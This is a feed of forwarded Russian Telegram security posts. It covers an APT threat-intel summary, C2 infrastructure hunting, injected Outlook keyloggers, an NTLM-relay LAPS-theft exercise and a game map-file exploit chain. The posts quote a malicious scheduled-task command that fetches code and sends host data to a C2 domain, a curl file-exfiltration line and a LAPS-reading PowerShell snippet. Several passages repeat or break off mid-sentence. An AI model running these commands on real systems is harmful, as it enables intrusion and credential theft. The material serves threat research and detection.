Forwarded from Threat Hunting Father 🦔
🧵 TA397 (Bitter)
📌 Новый отчёт от Proofpoint и Threatray раскрывает, как на протяжении 8 лет предположительно индийская APT-группа TA397 ведёт разведку против дипмиссий, правительств и оборонных структур в Европе и Азии.
☕ Немного контекста
Группа давно известна под именем Bitter и подозревается в работе на индийские интересы. Но вместо сложных эксплойтов — ставка на точный фишинг и нестандартный подход к Scheduled Tasks.
Работают строго по графику — 9:00–17:00 по IST, как в офисе.
✉️ Входной вектор: дипломатия, CHM и .MSC
TA397 маскируются под посольства, министерства и оборонные ведомства. Темы писем максимально приближены к реальности:
⚙️ Цепочки заражения
🎣 Email → архив → файл → PowerShell → Scheduled Task → C2
Пример: MSC-файл запускает
🔍 Команда, достойная отдельной кружки чая
PowerShell качает скрипт, читает его и передаёт в
📌 C2-запросы всегда включают
🎯 Ручной контроль
После успешной установки задачи, TA397 ждут, и только если цель «интересна», загружают RAT (например, Demon Agent или BDarkRAT). Примеры активности:
Иногда монтируют удалённую шару
Упаковка PE-файлов вручную:
🧠 Детект
1. conhost в headless-режиме
Весь материал в пост не уместить, поэтому к прочтению:
🔗 https://www.proofpoint.com/us/blog/threat-insight/bitter-end-unraveling-eight-years-espionage-antics-part-one
🔗 https://www.threatray.com/blog/the-bitter-end-unraveling-eight-years-of-espionage-antics-part-two
🦔 THF
📌 Новый отчёт от Proofpoint и Threatray раскрывает, как на протяжении 8 лет предположительно индийская APT-группа TA397 ведёт разведку против дипмиссий, правительств и оборонных структур в Европе и Азии.
TA397 will frequently target organizations and entities in Europe that have interests or a presence in China, Pakistan, and other neighboring countries on the Indian subcontinent.
☕ Немного контекста
Группа давно известна под именем Bitter и подозревается в работе на индийские интересы. Но вместо сложных эксплойтов — ставка на точный фишинг и нестандартный подход к Scheduled Tasks.
Работают строго по графику — 9:00–17:00 по IST, как в офисе.
TA397’s hands-on-keyboard and infrastructure operations align with the standard working hours of the Indian Standard Time (IST) timezone.
✉️ Входной вектор: дипломатия, CHM и .MSC
TA397 маскируются под посольства, министерства и оборонные ведомства. Темы писем максимально приближены к реальности:
"AUTHORIZATION TO RENEW CONTRACTS OF ECD AGENTS"
"SituationNote : SouthKorea_Martial law"
"Note from Embassy of Mauritius"
"Key National Defense R&D Projects"
Вложения — RAR-архивы с .CHM, .LNK, .MSC. Изредка — IQY и Access DB.⚙️ Цепочки заражения
🎣 Email → архив → файл → PowerShell → Scheduled Task → C2
Пример: MSC-файл запускает
mmc.exe, который создаёт задачу через schtasks, использует conhost.exe и PowerShell 🔍 Команда, достойная отдельной кружки чая
"C:\\Windows\\System32\\conhost.exe" --headless cmd /c ping localhost > nul & schtasks /create /tn "EdgeTaskUI" /f /sc minute /mo 16 /tr "conhost --headless powershell -WindowStyle Minimized irm 'woodstocktutors[.]com/jbc.php?fv=$env:COMPUTERNAME*$env:USERNAME' -OutFile 'kwe.cc'; Get-Content 'kwe.cc' | cmd"
Что тут:ping → создаёт задержкуschtasks создаёт задачуPowerShell качает скрипт, читает его и передаёт в
cmd📌 C2-запросы всегда включают
COMPUTERNAME и USERNAME — иногда через *, .., --, ; и даже __ — чтобы запутать сигнатуры.🎯 Ручной контроль
После успешной установки задачи, TA397 ждут, и только если цель «интересна», загружают RAT (например, Demon Agent или BDarkRAT). Примеры активности:
curl -X POST -F "file=@C:\\programdata\\abc1.pdf" http://1.1.1[.]1/svupfl.php?oi=HOST_USER
Собирают systeminfo, tasklist, wmicИногда монтируют удалённую шару
\\IP\tempy, откуда грузят RAT’ы (wmRAT, MiyaRAT)Упаковка PE-файлов вручную:
sh1.txt + sh2.txt = shh.exe🧠 Детект
1. conhost в headless-режиме
event_type: "processcreatewin"
AND proc_file_name: "conhost.exe"
AND cmdline: "headless"
2. PowerShell → Get-Content → cmdevent_type: "processcreatewin"
AND proc_file_name: "powershell.exe"
AND cmdline: ("get-content" AND "cmd")
3. C2-сервер с Let’s Encrypt + PHP endpoint + имя машиныhttps://domain[.]com/sdf.php?fv=HOST*USER
Весь материал в пост не уместить, поэтому к прочтению:
🦔 THF
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Threat Hunting Father 🦔
🕵️ Как из одного IP вытянуть больше информации
Во время TH или анализа инцидента часто всё начинается с одного объекта — подозрительного IP-адреса/домена. Но за ним может стоять целый кластер C2, фишинговых доменов и прокси.
📦 Что делать дальше?
Провести инфраструктурную разведку: поиск связей, повторно используемых конфигураций и других узлов.
🛠 Часть полезных инструментов:
▪️ Whois / Passive DNS
▪️ Shodan, Censys
▪️ VirusTotal, AbuseIPDB
▪️ Hunt.io
🔍 Сегодня рассмотрим пример Hunt.io
1. Старт с IP
Адрес
2. Базовая инфа
📍 Хостинг: BL Networks (анонимные VPS)
📛 Домен:
📌 Один домен на IP → не shared-хостинг → признак выделенного C2
3. Порты и сервисы
Открыты 22 (SSH), 80, 443.
Nginx, ответ на 443 —
⚠️ Признаков Cobalt Strike или чего-то редкого — нет.
4. Сертификаты
🔐 Self-signed, CN =
🧬 Используем JA4X фингерпринт → ищем похожие конфигурации
5. SQL-поиск в Hunt
По JA4X найдено всего 6 хостов → высокая уникальность → можно связывать в одну группу.
6. Проверка в VirusTotal
Часть адресов детектится, есть упоминание Latrodectus (модульная малварь).
Изолированный IP оказался частью скрытой инфраструктуры.
✔️ Из одного IP получен кластер из нескольких C2-хостов
✔️ Методика применима для охоты на инфраструктуру до компрометации
✔️ Позволяет строить детект на основе поведения: VPS-провайдер, TLS-паттерны, конфигурации, а не конкретные адреса
🔗 https://hunt.io/blog/practical-guide-unconvering-malicious-infrastructure
🦔 THF
Во время TH или анализа инцидента часто всё начинается с одного объекта — подозрительного IP-адреса/домена. Но за ним может стоять целый кластер C2, фишинговых доменов и прокси.
📦 Что делать дальше?
Провести инфраструктурную разведку: поиск связей, повторно используемых конфигураций и других узлов.
🛠 Часть полезных инструментов:
▪️ Whois / Passive DNS
▪️ Shodan, Censys
▪️ VirusTotal, AbuseIPDB
▪️ Hunt.io
🔍 Сегодня рассмотрим пример Hunt.io
1. Старт с IP
Адрес
168.100.9[.]71 всплыл в фиде/иницденте как подозрительный.2. Базовая инфа
📍 Хостинг: BL Networks (анонимные VPS)
📛 Домен:
btc-winnings-made[.]com → намёк на криптоскам📌 Один домен на IP → не shared-хостинг → признак выделенного C2
3. Порты и сервисы
Открыты 22 (SSH), 80, 443.
Nginx, ответ на 443 —
404 с заглушкой.⚠️ Признаков Cobalt Strike или чего-то редкого — нет.
4. Сертификаты
🔐 Self-signed, CN =
localhost, Issuer = Internet Widgits Pty Ltd🧬 Используем JA4X фингерпринт → ищем похожие конфигурации
5. SQL-поиск в Hunt
По JA4X найдено всего 6 хостов → высокая уникальность → можно связывать в одну группу.
6. Проверка в VirusTotal
Часть адресов детектится, есть упоминание Latrodectus (модульная малварь).
Изолированный IP оказался частью скрытой инфраструктуры.
✔️ Из одного IP получен кластер из нескольких C2-хостов
✔️ Методика применима для охоты на инфраструктуру до компрометации
✔️ Позволяет строить детект на основе поведения: VPS-провайдер, TLS-паттерны, конфигурации, а не конкретные адреса
🦔 THF
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from ESCalator
Мутация Exchange. Как мы аномалии в Outlook-страницах ловили 😮
В продолжение историй с расследований инцидентов (о них можно почитать вот тут, здесь и частично послушать тут) мы решили проанализировать общую концепцию вставок вредоносного кода в страницы аутентификации Microsoft Outlook. В итоге:
• Помимо обнаруженного на расследованиях инцидентов кейлоггера, обнаружили множество других аналогичных вредоносов.
• Ключевое отличие всех вредоносных фрагментов кода заключается в способе отправки учетных данных жертв: в нем применяются сохранение данных в файл на сервере, DNS-туннелирование, отправка сообщений в телеграм-бота и другие техники.
• Заражения были обнаружены в 26 странах. Большинство скомпрометированных серверов находятся во Вьетнаме, Китае, России, Тайване.
• Как показывает статистика, основная причина успешных атак на серверы — отсутствие установленных обновлений безопасности; на 3 из 65 серверов обновления отсутствовали с 2013 года.
📫 Какие кейлоггеры были обнаружены, куда и как хакеры отправляют данные жертв и как обнаружить вредоносный код в странице Outlook, рассказали в нашем исследовании.
#TI #IR #Malware
@ptescalator
В продолжение историй с расследований инцидентов (о них можно почитать вот тут, здесь и частично послушать тут) мы решили проанализировать общую концепцию вставок вредоносного кода в страницы аутентификации Microsoft Outlook. В итоге:
• Помимо обнаруженного на расследованиях инцидентов кейлоггера, обнаружили множество других аналогичных вредоносов.
• Ключевое отличие всех вредоносных фрагментов кода заключается в способе отправки учетных данных жертв: в нем применяются сохранение данных в файл на сервере, DNS-туннелирование, отправка сообщений в телеграм-бота и другие техники.
• Заражения были обнаружены в 26 странах. Большинство скомпрометированных серверов находятся во Вьетнаме, Китае, России, Тайване.
• Как показывает статистика, основная причина успешных атак на серверы — отсутствие установленных обновлений безопасности; на 3 из 65 серверов обновления отсутствовали с 2013 года.
📫 Какие кейлоггеры были обнаружены, куда и как хакеры отправляют данные жертв и как обнаружить вредоносный код в странице Outlook, рассказали в нашем исследовании.
#TI #IR #Malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Whitehat Lab
Как и обещал, выкладываю обзор
Вопросы автору можно задать в чате или комментариях
Недавно я завершил курс и успешно сдал экзамен HTB Certified Active Directory Pentesting Expert (CAPE) от Hack The Box Academy. Меня зовут Артём Метельков, я занимаюсь пентестами инфраструктуры и фишинг-атаками. В этом обзоре поделюсь своими впечатлениями и расскажу, что вас ждёт на пути к этой сертификации.
HTB CAPE - это чисто практическая штука. Тут не просто учат, а реально проверяют, как ты усвоил материал. Экзамен - это стенд с 10+ машинами, несколькими доменами и разными трастами между ними. В общем, всё как в реальной жизни.
Коротко о курсе:
Интенсивный обучающий курс, который охватывает широкий спектр техник и инструментов для проведения пентеста
#htb #cert #exam
Please open Telegram to view this post
VIEW IN TELEGRAM
❤2
Forwarded from CyberSecrets
Задача для собеседования №2
Продолжаем тему задачек и рассмотрим второй сценарий. И опять чтение LAPS, но это совпадение.
Сценарий
В результате анализа векторов в BloodHound было обнаружено, что на сервер
Дополнительное условие, на сервере
Задача попытаться захватить учетную запись администратора
Решение:
Если на сервере `SCCM` не настроена защита от принудительной аутентификации (фильтр RPC), то мы можем попытаться выполнить принудительную аутентификация и перенаправить NTLN аутентификацию на сервер `SERVER`. В качестве полезной нагрузки может быть несколько вариантов:
- Добавить себя в группу локальных администраторов;
- Прочитать данные из LSA, получив локальные учетные данные;
- Выполнить LDAP запрос на чтение атрибута `ms-Mcs-AdmPwd`
Рассмотрим третий вариант. Хотя учетная запись `SCCM` входит в группу локальных администраторов, компьютерам запрещен интерактивный вход на удаленную машину. Поэтому все команды будут выполняться от SYSTEM. Если команды от SYSTEM на доменной машине, то при обращении к LDAP будет использоваться учетной запись компьютера, в нашем случае `SERVER`.
Чтобы выполнить запрос к LDAP воспользуемся ADSI запросом:
```
$object = [ADSI]"LDAP://CN=SERVERDB,CN=Computers,DC=domain,DC=local"
$name, $laps = $object.Properties["name","ms-Mcs-AdmPwd"]
Write-Output "$name has LAPS password $laps"
```
Переведем это в последовательность base64, чтобы избавиться от лишних спецсимволов. Запускаем NTLM Relay в качестве цели указываем SERVER, а в качестве полезной нагрузки ` -c "powershell -enc <base64>"`.
Теперь выполняем принудительную аутентификацию сервера `SCCM` и наблюдаем за результатами. Если все было сделано правильно мы получим пароль LPAS и можем зайти на сервер ` SERVERDB` и попытаться захватить учетную запись `AD-ADMIN` с помощью дампа билетов Kerberos или имперсонализации токенов доступа.
Если, что-то пойдет не так, то всегда остаются два первых варианта.
#Внутрянка #Задачи
Продолжаем тему задачек и рассмотрим второй сценарий. И опять чтение LAPS, но это совпадение.
Сценарий
В результате анализа векторов в BloodHound было обнаружено, что на сервер
SCCM имеет привилегии локального администратора на сервере SERVER, который в свою очередь имеет права на чтение атрибута LAPS для сервера SERVERDB. На сервере SERVERDB есть сессия администратора AD-ADMIN.Дополнительное условие, на сервере
SERVER отключена SMB подпись.Задача попытаться захватить учетную запись администратора
AD-ADMIN.Решение:
- Добавить себя в группу локальных администраторов;
- Прочитать данные из LSA, получив локальные учетные данные;
- Выполнить LDAP запрос на чтение атрибута `ms-Mcs-AdmPwd`
Рассмотрим третий вариант. Хотя учетная запись `SCCM` входит в группу локальных администраторов, компьютерам запрещен интерактивный вход на удаленную машину. Поэтому все команды будут выполняться от SYSTEM. Если команды от SYSTEM на доменной машине, то при обращении к LDAP будет использоваться учетной запись компьютера, в нашем случае `SERVER`.
Чтобы выполнить запрос к LDAP воспользуемся ADSI запросом:
```
$object = [ADSI]"LDAP://CN=SERVERDB,CN=Computers,DC=domain,DC=local"
$name, $laps = $object.Properties["name","ms-Mcs-AdmPwd"]
Write-Output "$name has LAPS password $laps"
```
Переведем это в последовательность base64, чтобы избавиться от лишних спецсимволов. Запускаем NTLM Relay в качестве цели указываем SERVER, а в качестве полезной нагрузки ` -c "powershell -enc <base64>"`.
Теперь выполняем принудительную аутентификацию сервера `SCCM` и наблюдаем за результатами. Если все было сделано правильно мы получим пароль LPAS и можем зайти на сервер ` SERVERDB` и попытаться захватить учетную запись `AD-ADMIN` с помощью дампа билетов Kerberos или имперсонализации токенов доступа.
Если, что-то пойдет не так, то всегда остаются два первых варианта.
#Внутрянка #Задачи
Forwarded from Ralf Hacker Channel (Ralf Hacker)
В продолжение все той же темы CVE-2025-33073...
https://www.synacktiv.com/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025
Еще один ресерч, на это раз от Synactiv. Вот только у них не LPE, а Auth RCE от имени SYSTEM (если подпись SMB на машине не требуется).
#rce #lpe #ad #relay #pentest #redteam
https://www.synacktiv.com/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025
Еще один ресерч, на это раз от Synactiv. Вот только у них не LPE, а Auth RCE от имени SYSTEM (если подпись SMB на машине не требуется).
Even though CVE-2025-33073 is referred by Microsoft as an elevation of privilege, it is actually an authenticated remote command execution as SYSTEM on any machine which does not enforce SMB signing.
#rce #lpe #ad #relay #pentest #redteam
Forwarded from Похек
This media is not supported in your browser
VIEW IN TELEGRAM
Сегодня мы погрузимся в ностальгию и разберем, как старенькая, но любимая многими игра "Герои Меча и Магии V" может стать лазейкой для выполнения вредоносного кода.
Вектор атаки: карты — это не то, чем кажутся
В "Героях V" есть редактор карт, с помощью которого игроки могут создавать свои миры и делиться ими. Эти карты имеют расширение
Игра использует собственную библиотеку для работы с ZIP-архивами. Когда вы открываете список карт, игра должна распаковать
Уязвимость: переполнение кучи на доверии
Проблема возникает в процессе распаковки. Вот как это выглядит на техническом уровне:
➡️ Выделение памяти: Игра смотрит на метаданные файла
➡️ Распаковка: Затем вызывается функция
➡️ Копирование:
Ключевая уязвимость заключается в том, что игра слепо доверяет значению
Эксплуатация: от переполнения к RCE
Теперь самое интересное — как превратить это переполнение в выполнение своего кода.
Поиск цели: Наша задача — перезаписать что-то важное в памяти. Идеальная цель — указатель на таблицу виртуальных функций (
Исследователи обнаружили, что из-за особенностей работы кастомного аллокатора
➡️ Построение цепочки: У игры не включена рандомизация адресного пространства (ASLR), так что адреса кода и данных известны заранее. Однако мы не контролируем стек напрямую, поэтому классический
Схема эксплойта выглядит так:
0️⃣ Создается карта
1️⃣ Когда игра пытается показать название карты, происходит переполнение кучи.
2️⃣ Переполнение перезаписывает vtable объекта
3️⃣ Когда игра пытается освободить этот объект, вызывается его деструктор через подмененную
4️⃣ Цепочка гаджетов выполняет "пивот" стека: указатель стека (ESP) перемещается так, чтобы он указывал на контролируемую нами область памяти внутри перезаписанного объекта.
5️⃣ Далее выполняется стандартная ROP-цепочка, которая загружает
Вуаля! При простом наведении на вредоносную карту в меню игры у пользователя запускается калькулятор, а мог бы запуститься любой другой вредоносный код.
🔗 Источник
🌚 @poxek | 🌚 Блог | 📺 YT | 📺 RT | 📺 VK | 🌚 Мерч
Вектор атаки: карты — это не то, чем кажутся
В "Героях V" есть редактор карт, с помощью которого игроки могут создавать свои миры и делиться ими. Эти карты имеют расширение
.h5m, но на самом деле это обычные ZIP-архивы. Внутри такого архива лежит несколько файлов, но для нас самый интересный — name.txt. Этот файл содержит название карты, и игра считывает его, как только вы заходите в меню выбора карт для начала новой игры.Игра использует собственную библиотеку для работы с ZIP-архивами. Когда вы открываете список карт, игра должна распаковать
name.txt из каждого .h5m файла, чтобы показать вам их названия.Уязвимость: переполнение кучи на доверии
Проблема возникает в процессе распаковки. Вот как это выглядит на техническом уровне:
name.txt внутри ZIP-архива, а именно на поле m_UncompressedSize. Это поле говорит, сколько места понадобится для распакованного файла. На основе этого значения игра выделяет буфер в памяти (в куче) с помощью кастомного аллокатора H5_alloc.Uncompress, которая использует библиотеку zlib, а конкретно функцию inflateBack. Эта функция распаковывает данные.inflateBack вызывает специальную callback-функцию zlib_out, которая и копирует распакованные данные в тот самый буфер, который был выделен на первом шаге.Ключевая уязвимость заключается в том, что игра слепо доверяет значению
m_UncompressedSize из заголовка ZIP-файла. Что, если мы создадим вредоносный архив, где m_UncompressedSize будет маленьким (например, 0x800 байт), а реальный размер распакованных данных — гораздо больше (например, 0x2000 байт)? В этом случае zlib_out попытается записать 0x2000 байт в буфер размером 0x800 байт. Результат — классическое переполнение кучи (heap overflow).Эксплуатация: от переполнения к RCE
Теперь самое интересное — как превратить это переполнение в выполнение своего кода.
Поиск цели: Наша задача — перезаписать что-то важное в памяти. Идеальная цель — указатель на таблицу виртуальных функций (
vtable) какого-нибудь объекта. Если мы заменим этот указатель на свой, то при вызове метода этого объекта управление перейдет к нашему коду.Исследователи обнаружили, что из-за особенностей работы кастомного аллокатора
H5_alloc можно довольно предсказуемо разместить наш вредоносный буфер рядом с определенным объектом. С помощью скрипта для IDA Python они выяснили, что объект типа NGScene::CLightStateNode почти всегда находится на одном и том же расстоянии от буфера, выделяемого для name.txt.ROP (Return-Oriented Programming) не подходит. Вместо этого используется техника JOP/COP (Jump/Call-Oriented Programming).Схема эксплойта выглядит так:
.h5m со специально подготовленным файлом name.txt. В его ZIP-заголовке указывается маленький размер, а внутри — большой объем данных (шеллкод).NGScene::CLightStateNode, указывая на первый гаджет в нашей JOP-цепочке.vtable, и управление передается нашему первому гаджету.kernel32.dll, находит адрес функции WinExec и запускает calc.exe.Вуаля! При простом наведении на вредоносную карту в меню игры у пользователя запускается калькулятор, а мог бы запуститься любой другой вредоносный код.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1🤝1🫡1